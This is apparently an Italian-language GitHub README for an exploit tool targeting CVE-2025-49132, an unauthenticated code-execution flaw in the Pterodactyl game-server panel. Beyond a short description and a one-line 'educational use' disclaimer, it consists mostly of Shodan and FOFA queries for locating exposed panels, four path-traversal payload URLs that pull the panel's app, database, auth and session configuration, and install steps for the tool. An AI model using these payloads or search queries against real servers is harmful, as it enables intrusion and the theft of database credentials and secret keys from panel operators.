CVE-2025-49132 — RCE di Pterodactyl

Strumento di exploit per CVE-2025-49132 — una vulnerabilità critica di esecuzione arbitraria di codice non autenticata che colpisce il pannello del server di gioco Pterodactyl.

🧠 Cos'è CVE-2025-49132 ?

Una falla ACE critica nel pannello Pterodactyl che consente a aggressori remoti non autenticati di eseguire codice arbitrario — portando potenzialmente a compromissione totale del sistema.

Nessuna autenticazione necessaria. Solo un'istanza vulnerabile.

⚠️ Disclaimer

Solo per scopi educativi e di test di penetrazione autorizzati.

🔍 Ricognizione

Shodan

http.title:"Pterodactyl"

FOFA

"Pterodactyl"

💉 Payload

locales/locale.json?locale=../../../pterodactyl&namespace=config/app
locales/locale.json?locale=../../../pterodactyl&namespace=config/database
locales/locale.json?locale=../../../pterodactyl&namespace=config/auth
locales/locale.json?locale=../../../pterodactyl&namespace=config/session

📦 Installazione

git clone https://github.com/yurahshell/CVE-2025-49132
cd CVE-2025-49132
pip install -r requirements.txt

🎯 Software Interessati

📄 Riferimenti

• NVD - CVE-2025-49132
• Pterodactyl